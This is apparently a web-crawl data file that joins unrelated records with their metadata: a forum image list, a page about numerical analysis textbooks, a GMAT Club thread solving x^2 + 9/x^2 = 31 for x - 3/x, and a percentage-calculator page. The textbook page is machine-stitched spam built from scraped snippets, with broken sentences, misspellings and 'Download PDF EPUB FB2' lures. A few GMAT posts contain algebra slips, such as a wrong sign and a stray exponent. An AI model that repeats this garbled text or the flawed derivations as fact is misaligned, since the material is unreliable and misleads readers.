"http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.745784,"math_prob":0.76646835,"size":2478,"snap":"2020-24-2020-29","text_gpt3_token_len":688,"char_repetition_ratio":0.123282135,"word_repetition_ratio":0.010869565,"special_character_ratio":0.29257464,"punctuation_ratio":0.22437137,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9509991,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-10T23:49:41Z\",\"WARC-Record-ID\":\"<urn:uuid:0ddf8e65-9de2-4916-a199-20f0a959b534>\",\"Content-Length\":\"48908\",\"Content-Type\":\"application/http; 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https://senimesotyzitu.menards.club/introductory-numerical-analysis-book-25785hy.php	[ "Last edited by Jugor\nFriday, May 1, 2020 \| History\n\n6 edition of Introductory numerical analysis found in the catalog.", null, "# Introductory numerical analysis\n\nWritten in English\n\nSubjects:\n• Numerical analysis\n\n• Edition Notes\n\nClassifications The Physical Object Statement Anthony J. Pettofrezzo. LC Classifications QA297 .P47 2006 Pagination p. cm. Open Library OL3431312M ISBN 10 0486450163 LC Control Number 2005056919\n\nThe book is full of tidbits of folklore that would interest someone who was already familiar with the content of an introductory numerical analysis text; their inclusion might frustrate novices, however. The author considers numerical analysis a separate discipline that belongs to neither mathematics nor computer science. This course analyzed the basic techniques for the efficient numerical solution of problems in science and engineering. Topics spanned root finding, interpolation, approximation of functions, integration, differential equations, direct and iterative methods in linear algebra. Numerical methods for solving linear systems of equations, linear least squares problems, matrix eigen value problems, nonlinear systems of equations, interpolation, quadrature, and initial value ordinary differential equations. Prerequisite: either a course in linear algebra or permission of instructor. Offered: jointly with MATH ; A.\n\nYou might also like\nEritrea Diplomatic Handbook\n\nEritrea Diplomatic Handbook\n\nDe-westernizing film studies\n\nDe-westernizing film studies\n\nTimber buildings.\n\nTimber buildings.\n\nSynaptic self\n\nSynaptic self\n\nThe devil of a wife\n\nThe devil of a wife\n\nContinuity Girl\n\nContinuity Girl\n\nmen in her life\n\nmen in her life\n\nInvestigations in erosion control and reclamation of eroded land at the Palouse Conservation Experiment Station, Pullman, Wash., 1931-42\n\nInvestigations in erosion control and reclamation of eroded land at the Palouse Conservation Experiment Station, Pullman, Wash., 1931-42\n\nThreat To U.S. Trade & Finance From Drug Trafficking & ..., Joint Hrgs... S. Hrg. 104-839... Comm. On Finance... U.S. Sen... 104th Cong., 2nd Sess., 07/23/96.\n\nThreat To U.S. Trade & Finance From Drug Trafficking & ..., Joint Hrgs... S. Hrg. 104-839... Comm. On Finance... U.S. Sen... 104th Cong., 2nd Sess., 07/23/96.\n\nStatistics and probability in modern life\n\nStatistics and probability in modern life\n\nEngineering technology for students of physics.\n\nEngineering technology for students of physics.\n\ndeath of Christ\n\ndeath of Christ\n\n### Introductory numerical analysis by Anthony J. Pettofrezzo Download PDF EPUB FB2\n\nIntroductory Methods of Numerical Analysis (pdf) by S.S. Sastry is one of the most popular books for Numerical Methods, adopted as a course book in many colleges and universities. Suitable particularly for engineering undergraduate students, this book gives a clear overview of various common topics in numerical analysis with references to MATLAB, IMSL, and Numerical Author: Codewithc.\n\nIntroductory Methods of Numerical Analysis As a student of mathematics I recommend this book to carry with you as an additional numerical analysis book. This book contains almost all higher study materials but it is insufficient to make your basic knowledge strong.\n\nWhat are the materials of this book can be seen in the images of index I have /5(96). : Introductory Numerical Analysis (Dover Books on Mathematics) (): Pettofrezzo, Anthony J.: BooksCited by: 7.\n\nIntroductory methods of numerical analysis by S S This text features the principles involved in numerical analysis. Its main theme is interpolation of the standpoint of finite differences, least squares theory, and harmonic analysis. Also covers the numerical solutions of ordinary differential equations and approximation through Fourier series.\n\nOver 70 examples and exercises. Includes 16 figures and 33 tables. edition. This thoroughly revised and updated text, now in its fifth edition, continues to provide a rigorous introduction to the fundamentals of numerical methods required in scientific and technological applications, emphasizing on teaching students numerical methods and in helping them to develop problem-solving skills.\n\nWhile the essential features of the previous editions such as 5/5(8). Theoretical Numerical Analysis: A Functional Analysis Framework, K. Atkinson, W. Han The first two are Dover books, so the price is great, the last two are lots of dough.\n\nI do not have the last one, but it looks worthwhile checking out. The aim of this book is to provide a simple and useful introduction for the fresh students into the vast field of numerical analysis.\n\nLike any other introductory course on numerical analysis, this book contains the basic theory, which in the present text refers to the following topics: linear.\n\nIn many Introductory Methods of Numerical Analysis by S.S. Sastry. 25 Jul Introductory Methods of Numerical Analysis (pdf) by S.S. Sastry is one of the most popular books for Numerical Methods, adopted as a course Introductory bookk on numerical analysis by kanv_garg.\n\nIntroductory Methods of Numerical Analysis by S.S. Sastry. The first book of its selection when crafted larger than 30 years prior to now to serve a numerous undergraduate viewers, Burden, Faires, and Burden’s NUMERICAL ANALYSIS stays the definitive introduction to an necessary and smart matter.\n\nIntroductory Methods of Numerical Analysis book. Read 2 reviews from the world's largest community for readers. The fifth edition of this book contains e /5. Introductory Methods of Numerical Analysis As a student of mathematics I recommend this book to carry with you as an additional numerical analysis book.\n\nThis book contains almost all higher study materials but it is insufficient to make your basic knowledge strong/5(97). Introductory Methods of Numerical Analysis. While the essential features of the previous editions such as References to MATLAB, IMSL, Numerical Recipes program libraries for implementing the numerical methods are retained, a chapter on Spline Functions has been added in this edition because of methodz increasing importance in applications.\n\nThese notes were prepared for use in teaching a one-year graduate level introductory course on numerical analysis at Penn State University.\n\nThe author taught the course during the { academic year (the rst o ering of the course), and then again during the { academic year. They were never put into nal form, and cannot be used without.\n\nThis textbook was born of a desire to contribute a viable, free, introductory Numerical Analysis textbook for instructors and students of mathematics.\n\nThe ultimate goal of Tea Time Numerical Analysis is to be a complete, one-semester, single-pdf, downloadable textbook designed for mathematics classes. Now includes differential equations.\n\nNo ratings. Theory and Applications of Numerical Analysis is a self-contained Second Edition, providing an introductory account of the main topics in numerical analysis. The book emphasizes both the theorems which show the underlying rigorous mathematics andthe algorithms which define precisely how to program the numerical methods/5(8).\n\nIntroductory Numerical Analysis Lecture Notes Sudipta Mallik September 9, Contents 4 Numerical Di erentiation and Integration26 Numerical Analysis Sudipta Mallik Note that oating point numbers are approximation of the exact numbers obtained by either.\n\nThe Paperback of the Introductory Numerical Analysis by Anthony J. Pettofrezzo at Barnes & Noble. FREE Shipping on \\$35 or more. Due to COVID, orders may be delayed. There must be a good introductory numerical analysis course out there. Ask Question Asked 8 years, Are there examples (links to course outlines or course webpages preferred) of introductory numerical analysis courses which avoid the above go to the library and take a look at this book: \"Numerical Analysis: A Mathematical Introduction.\n\nAbout The Book Introductory Methods Of Numerical Analysis Book Summary: This thoroughly revised and updated text, now in its fifth edition, continues to provide a rigorous introduction to the fundamentals of numerical methods required in scientific and technological applications, emphasizing on teaching students numerical methods and in helping Author: SASTRY, S.\n\nNumerical methods for solving linear systems of equations, linear least squares problems, matrix eigen value problems, nonlinear systems of equations, interpolation, quadrature, and initial value ordinary differential equations.\n\nFind books. Book in Numerical analysis. Ask Question Asked 7 years, 2 months ago. Active 7 years, 2 months ago. Viewed 8k times 4. 1 \\$\\begingroup\\$ What books are good an introductory course in Numerical analysis. Introductory Topology Book Recommendation for Economics.\n\nA textbook for numerical analysis (with solution manual) 0. is a platform for academics to share research papers. The aim of this book is to provide a simple and useful introduction for the fresh students into the vast field of numerical analysis.\n\nLike any other introductory course on numerical analysis, this book contains the basic theory, which in the present text refers to the following topics: linear equations, nonlinear equations, eigensystems.\n\nSolutions Manual to accompany An Introduction to Numerical Methods and Analysis: Edition 2 - Ebook written by James F. Epperson. Read this book using Google Play Books app on your PC, android, iOS devices. Download for offline reading, highlight, bookmark or take notes while you read Solutions Manual to accompany An Introduction to Numerical Methods and Analysis: 5/5(2).\n\nThe book is designed for use in a graduate program in Numerical Analysis that is structured so as to include a basic introductory course and subsequent more specialized courses.\n\nThe latter are envisaged to cover such topics as numerical linear algebra, the numerical solution of ordinary and partial differential equations. This book is based on a one-year introductory course on numerical analysis given by the authors at several universities in Germany and the United States.\n\nThe authors concentrate on methods which can be worked out on a digital computer. For. Introductory Methods Of Numerical Analysis Ss Sastry - Free download Ebook, Handbook, Textbook, User Guide PDF files on the internet quickly and easily.\n\nIntroductory Numerical Analysis. by Anthony J. Pettofrezzo. Dover Books on Mathematics. Share your thoughts Complete your review. Tell readers what you thought by rating and reviewing this book. Rate it * You Rated it *Brand: Dover Publications.\n\nAll books are in clear copy here, and all files are secure so don't worry about it. This site is like a library, you could find million book here by using search box in the header. INTRODUCTORY METHODS OF NUMERICAL ANALYSIS, S.\n\nSASTRY, PHI Learning Pvt. Ltd.,pages. Instructor's Solutions Manual (Download only) for Friendly Introduction to Numerical Analysis, A Download (application/pdf) (MB) Download (application/pdf) (MB)Availability: Live. Introductory Methods Of Numerical Analysis By S.s. Sastry - Free download Ebook, Handbook, Textbook, User Guide PDF files on the internet quickly and easily.\n\nCOVID Resources. Reliable information about the coronavirus (COVID) is available from the World Health Organization (current situation, international travel).Numerous and frequently-updated resource results are available from this ’s WebJunction has pulled together information and resources to assist library staff as they consider how to handle.\n\nIntroductory Method Of Numerical Analysis Manual Sastry by HASIBUL ISLAM SHAIKAT. Publication date Topics Numerical Analysis Collection opensource Language English.\n\nManual Book on Numerical Analysis. Addeddate Identifier ABBYY FineReader Ppi Scanner Internet Archive HTML5 Uploader. Introductory Methods of Numerical Analysis. Front Cover. Sastry. Prentice- Hall of India, – Numerical analysis – pages. Introductory bookk on numerical analysis by kanv_garg.\n\nIntroductory methods of numerical analysis by S.S. – Ebook download as. Perhaps the most distinctive feature of this book is the minimal amount of pseudocode which appears. This feature is in marked contrast to other introductory textbooks on numerical analysis, which tend to have a lot of pseudocode, and usually some Maple and/or MATLAB code fragments, too.\n\nUnfortunately, it has been my experience that most 4/5(52). 'This is an excellent book for introducing undergraduates to the fascinating discipline of numerical analysis.\n\nIt is the result of many years of lectures held by the authors at the University of Oxford, a fact that explains the evident ability of the book of addressing questions frequently asked by Cited by: Get this from a library. Introductory computer methods and numerical analysis.\n\n[Ralph H Pennington] -- Intended for students at the sophomore or junior level. Integral calculus, a. Theory and Applications of Numerical Analysis is a self-contained Second Edition, providing an introductory account of the main topics in numerical analysis. The book emphasizes both the theorems which show the underlying rigorous mathematics andthe algorithms which define precisely how to program the numerical methods.\n\nGreat discount for academic books from amazon, Get two free audiobooks from amazon.The book continues to be accessible and expertly guides readers through the many available techniques of numerical methods and analysis.\n\nAn Introduction to Numerical Methods and Analysis, Second Edition reflects the latest trends in the field, includes new material and revised exercises, and offers a unique emphasis on applications.PowerPoint Slides (Download only) for Introductory Mathematical Analysis for Business, Economics, and the Life and Social SciencesAvailability: Live." ]	[ null, "https://covers.openlibrary.org/b/id/1257539-M.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.87469536,"math_prob":0.5963015,"size":13231,"snap":"2021-21-2021-25","text_gpt3_token_len":2623,"char_repetition_ratio":0.19036819,"word_repetition_ratio":0.2604913,"special_character_ratio":0.18789206,"punctuation_ratio":0.13195966,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9769926,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-11T17:30:10Z\",\"WARC-Record-ID\":\"<urn:uuid:0005e142-d3cc-477f-a587-8f030285c665>\",\"Content-Length\":\"27423\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:54a1d8a3-2bc6-4f17-b20c-d86fe62542fc>\",\"WARC-Concurrent-To\":\"<urn:uuid:2359cabe-f8f7-4157-9ca8-6f500b52ce5f>\",\"WARC-IP-Address\":\"104.21.3.186\",\"WARC-Target-URI\":\"https://senimesotyzitu.menards.club/introductory-numerical-analysis-book-25785hy.php\",\"WARC-Payload-Digest\":\"sha1:DNI2Q2CQWZYQKKKHTWHTGHJQ5K35XS26\",\"WARC-Block-Digest\":\"sha1:JSCPRU2MAQSG45AUE2HSXE7G736ZRRBA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243991648.10_warc_CC-MAIN-20210511153555-20210511183555-00376.warc.gz\"}"}
https://gmatclub.com/forum/if-x-2-9-x-2-31-what-is-the-value-of-x-3-x-211016.html	[ "GMAT Question of the Day - Daily to your Mailbox; hard ones only\n\n It is currently 19 Oct 2019, 23:15", null, "GMAT Club Daily Prep\n\nThank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.\n\nCustomized\nfor You\n\nwe will pick new questions that match your level based on your Timer History\n\nTrack\n\nevery week, we’ll send you an estimated GMAT score based on your performance\n\nPractice\nPays\n\nwe will pick new questions that match your level based on your Timer History\n\nNot interested in getting valuable practice questions and articles delivered to your email? No problem, unsubscribe here.", null, "", null, "If x^2 + 9/x^2 = 31, what is the value of x - 3/x?\n\n new topic post reply Question banks Downloads My Bookmarks Reviews Important topics\nAuthor Message\nTAGS:\n\nHide Tags\n\nIntern", null, "", null, "Joined: 26 Dec 2015\nPosts: 3\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n2\n1\n23", null, "00:00\n\nDifficulty:", null, "", null, "", null, "55% (hard)\n\nQuestion Stats:", null, "63% (01:42) correct", null, "38% (02:17) wrong", null, "based on 272 sessions\n\nHideShow timer Statistics\n\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nOriginally posted by maxx1234 on 28 Dec 2015, 00:53.\nLast edited by Bunuel on 03 Oct 2017, 05:15, edited 2 times in total.\nCurrent Student", null, "B\nJoined: 20 Jan 2015\nPosts: 47\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n2\noption D.\n\nTo find : x-3/x. Let it be t.\n=> x-3/x = t\n=> (x^2 + 9/x^2) - 2x3/x = t^2 (Squaring both sides).\n=> (31) - 23 = 25\n=> t^2 = 25. Thus t=5 or t=-5.\n\n=> option D.\n_________________\nPlease take a moment to hit Kudos if you like my post", null, "Intern", null, "", null, "Joined: 26 Dec 2015\nPosts: 3\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nDont get this part\n\n- 2x3/x\nCurrent Student", null, "B\nJoined: 20 Jan 2015\nPosts: 47\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nmaxx1234 wrote:\nDont get this part\n\n- 2x3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2ab.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "_________________\nPlease take a moment to hit Kudos if you like my post", null, "Senior Manager", null, "", null, "Joined: 31 Mar 2016\nPosts: 375\nLocation: India\nConcentration: Operations, Finance\nGMAT 1: 670 Q48 V34", null, "GPA: 3.8\nWE: Operations (Commercial Banking)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nritikk13 wrote:\nmaxx1234 wrote:\nDont get this part\n\n- 2x3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2ab.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "Hi ritikk,\n\nif x-3/x is squared then resultant equation after substitution will be 31 - (6/x). How do you arrive at 5 from this when x is still present?\nMath Expert", null, "V\nJoined: 02 Sep 2009\nPosts: 58445\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n2\nSenthil7 wrote:\nritikk13 wrote:\nmaxx1234 wrote:\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x\n\nA 36\nB 25\nC 9\nD 5\nE 3\n\nDont get this part\n\n- 2x3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2ab.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "Hi ritikk,\n\nif x-3/x is squared then resultant equation after substitution will be 31 - (6/x). How do you arrive at 5 from this when x is still present?\n\n$$(x-\\frac{3}{x})^2=x^2-2x\\frac{3}{x}+(\\frac{3}{x})^2=x^2-6+\\frac{9}{x^2}$$\n\nSince $$x^2 + \\frac{9}{x^2} = 31$$, then $$(x-\\frac{3}{x})^2=x^2-6+\\frac{9}{x^2}=31-6=25$$.\n\nFinally, $$(x-\\frac{3}{x})^2=25$$ --> $$x-\\frac{3}{x}=5$$ or -5.\n\n_________________\nManager", null, "", null, "B\nJoined: 20 Apr 2014\nPosts: 86\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nvery nice question but needs smart eyes to catch the idea.\nAre there any alternate approach ?\nSenior Manager", null, "", null, "Joined: 31 Mar 2016\nPosts: 375\nLocation: India\nConcentration: Operations, Finance\nGMAT 1: 670 Q48 V34", null, "GPA: 3.8\nWE: Operations (Commercial Banking)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nBunuel thanks a lot. The misunderstanding is due to the font type not sure if it was x-3 the whole term by x or just x minus 3/x. That issue with members posting can solve the issue i think any way out or any suggestion like you have typed now appropriately? Bunuel\nMath Expert", null, "V\nJoined: 02 Sep 2009\nPosts: 58445\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nSenthil7 wrote:\nBunuel thanks a lot. The misunderstanding is due to the font type not sure if it was x-3 the whole term by x or just x minus 3/x. That issue with members posting can solve the issue i think any way out or any suggestion like you have typed now appropriately? Bunuel\n\nMathematically x - 3/x can only mean x minus 3/x. If it were x-3 over x it would e written as (x - 3)/x.\n_________________\nTarget Test Prep Representative", null, "D\nStatus: Founder & CEO\nAffiliations: Target Test Prep\nJoined: 14 Oct 2015\nPosts: 8109\nLocation: United States (CA)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n1\n1\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\n\nWe see that only 5 is among the answer choices.\n\n_________________\n\nScott Woodbury-Stewart\n\nFounder and CEO\n\[email protected]\n\nSee why Target Test Prep is the top rated GMAT quant course on GMAT Club. Read Our Reviews\n\nIf you find one of my posts helpful, please take a moment to click on the \"Kudos\" button.\n\nVP", null, "", null, "D\nJoined: 09 Mar 2016\nPosts: 1230\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nScottTargetTestPrep wrote:\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\nWe see that only 5 is among the answer choices.\n\nHey pushpitkc,\n\ncan you shed some light on the solution above ..i dont get the steps (highlighted) after this \"Since x^2 + 9/x^2 = 31\"\n\nmany thanks", null, "Senior Manager", null, "", null, "G\nJoined: 29 Dec 2017\nPosts: 378\nLocation: United States\nConcentration: Marketing, Technology\nGMAT 1: 630 Q44 V33", null, "GMAT 2: 690 Q47 V37", null, "GMAT 3: 710 Q50 V37", null, "GPA: 3.25\nWE: Marketing (Telecommunications)\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n1\ndave13\n\nYou can convert any a^2+b^2 to a^2+b^2-2ab+2ab=(a-b)^2+2ab\nx^4 + 9/x^2 = x^4 + 9/x^2 - 2(x^2 3/x^2) + 2(x^2 *3/x^2)\nSenior PS Moderator", null, "V\nJoined: 26 Feb 2016\nPosts: 3335\nLocation: India\nGPA: 3.12\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\n1\ndave13 wrote:\nScottTargetTestPrep wrote:\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\nWe see that only 5 is among the answer choices.\n\nHey pushpitkc,\n\ncan you shed some light on the solution above ..i dont get the steps (highlighted) after this \"Since x^2 + 9/x^2 = 31\"\n\nmany thanks", null, "Hey dave13\n\nWe are given $$x^2 + \\frac{9}{x^2} = 31$$ in the queston stem -> Lets call this equation (1)\n\nOnce, we have squared the equation, $$(x - \\frac{3}{x})^2$$ to get $$x^2 - 6 + \\frac{9}{x^2}$$\n\nAfter re-arranging $$(x - \\frac{3}{x})^2 = x^2 + \\frac{9}{x^2} - 6 = 31 - 6 = 25$$ [from equation (1)]\n\nNow, $$(x - \\frac{3}{x})^2 = 25$$ -> $$(x - \\frac{3}{x}) = \\sqrt{25} = +5$$ or $$-5$$\n\nTherefore, the answer option which matches the value of $$(x - \\frac{3}{x})$$ is 5(Option D)\n\nHope this helps you\n_________________\nYou've got what it takes, but it will take everything you've got\nManager", null, "", null, "B\nJoined: 17 Jul 2016\nPosts: 54\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nOne could try and substitute values.\n\nif x=1 the expression (x^2+9/x^2) = 10\nif x=2, 4+(9/4)=6.25\nif x=3, 10\nif x=4, 16&9/16\nif x=5, 25&9/25\nif x=6 36&1/4\n\nWe want the expression to =31 so x=5.5 is a good estimate.\n\nx-3/x=\n\n5.5-(3/5.5)=\n\n5.5 - (little more than .5)=close to 5\nSenior Manager", null, "", null, "G\nJoined: 04 Aug 2010\nPosts: 477\nSchools: Dartmouth College\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? [#permalink]\n\nShow Tags\n\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet $$a$$ = the correct answer.\n\n$$x - \\frac{3}{x}=a$$\n\nSince $$(m-n)^2 = m^2 + n^2 - 2mn$$, squaring both sides yields the following:\n$$(x - \\frac{3}{x})^2=a^2$$\n\n$$x^2 - \\frac{9}{x^2} - 2(x)(\\frac{3}{x})=a^2$$\n\n$$x^2 - \\frac{9}{x^2} - 6=a^2$$\n\nSubstituting $$x^2 + \\frac{9}{x^2} = 31$$ into the resulting blue equation, we get:\n$$31 - 6=a^2$$\n\n$$25 = a^2$$\n\n±$$5=a$$\n\n_________________\nGMAT and GRE Tutor\nOver 1800 followers\[email protected]\nNew York, NY\nIf you find one of my posts helpful, please take a moment to click on the \"Kudos\" icon.\nAvailable for tutoring in NYC and long-distance.", null, "Re: If x^2 + 9/x^2 = 31, what is the value of x - 3/x? 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https://www.percentagecal.com/answer/what-is-1-percent-of-2080	[ "#### Solution for What is 1 percent of 2080:\n\n1 percent 2080 =\n\n(1:100)2080 =\n\n(12080):100 =\n\n2080:100 = 20.8\n\nNow we have: 1 percent of 2080 = 20.8\n\nQuestion: What is 1 percent of 2080?\n\nPercentage solution with steps:\n\nStep 1: Our output value is 2080.\n\nStep 2: We represent the unknown value with {x}.\n\nStep 3: From step 1 above,{2080}={100\\%}.\n\nStep 4: Similarly, {x}={1\\%}.\n\nStep 5: This results in a pair of simple equations:\n\n{2080}={100\\%}(1).\n\n{x}={1\\%}(2).\n\nStep 6: By dividing equation 1 by equation 2 and noting that both the RHS (right hand side) of both\nequations have the same unit (%); we have\n\n\\frac{2080}{x}=\\frac{100\\%}{1\\%}\n\nStep 7: Again, the reciprocal of both sides gives\n\n\\frac{x}{2080}=\\frac{1}{100}\n\n\\Rightarrow{x} = {20.8}\n\nTherefore, {1\\%} of {2080} is {20.8}\n\n#### Solution for What is 2080 percent of 1:\n\n2080 percent 1 =\n\n(2080:100)1 =\n\n(20801):100 =\n\n2080:100 = 20.8\n\nNow we have: 2080 percent of 1 = 20.8\n\nQuestion: What is 2080 percent of 1?\n\nPercentage solution with steps:\n\nStep 1: Our output value is 1.\n\nStep 2: We represent the unknown value with {x}.\n\nStep 3: From step 1 above,{1}={100\\%}.\n\nStep 4: Similarly, {x}={2080\\%}.\n\nStep 5: This results in a pair of simple equations:\n\n{1}={100\\%}(1).\n\n{x}={2080\\%}(2).\n\nStep 6: By dividing equation 1 by equation 2 and noting that both the RHS (right hand side) of both\nequations have the same unit (%); we have\n\n\\frac{1}{x}=\\frac{100\\%}{2080\\%}\n\nStep 7: Again, the reciprocal of both sides gives\n\n\\frac{x}{1}=\\frac{2080}{100}\n\n\\Rightarrow{x} = {20.8}\n\nTherefore, {2080\\%} of {1} is {20.8}\n\nCalculation Samples" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.81511146,"math_prob":0.99902403,"size":1929,"snap":"2020-45-2020-50","text_gpt3_token_len":698,"char_repetition_ratio":0.18285714,"word_repetition_ratio":0.36227545,"special_character_ratio":0.46448937,"punctuation_ratio":0.16099773,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99994314,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-27T23:06:56Z\",\"WARC-Record-ID\":\"<urn:uuid:81ce160f-0853-4195-a94f-6d51d211b46a>\",\"Content-Length\":\"10209\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:922d6248-1ae5-427c-b4a2-d5b700b0c796>\",\"WARC-Concurrent-To\":\"<urn:uuid:f9c997bb-a621-448c-a118-f513ed31106a>\",\"WARC-IP-Address\":\"217.23.5.136\",\"WARC-Target-URI\":\"https://www.percentagecal.com/answer/what-is-1-percent-of-2080\",\"WARC-Payload-Digest\":\"sha1:Y6IJ4G7DUEGWKK4MZX3HWU2VB2LYTH4R\",\"WARC-Block-Digest\":\"sha1:LFTDD7E4YAMAAOJL7ZP7WY6YZSHFMIUD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141194634.29_warc_CC-MAIN-20201127221446-20201128011446-00204.warc.gz\"}"}
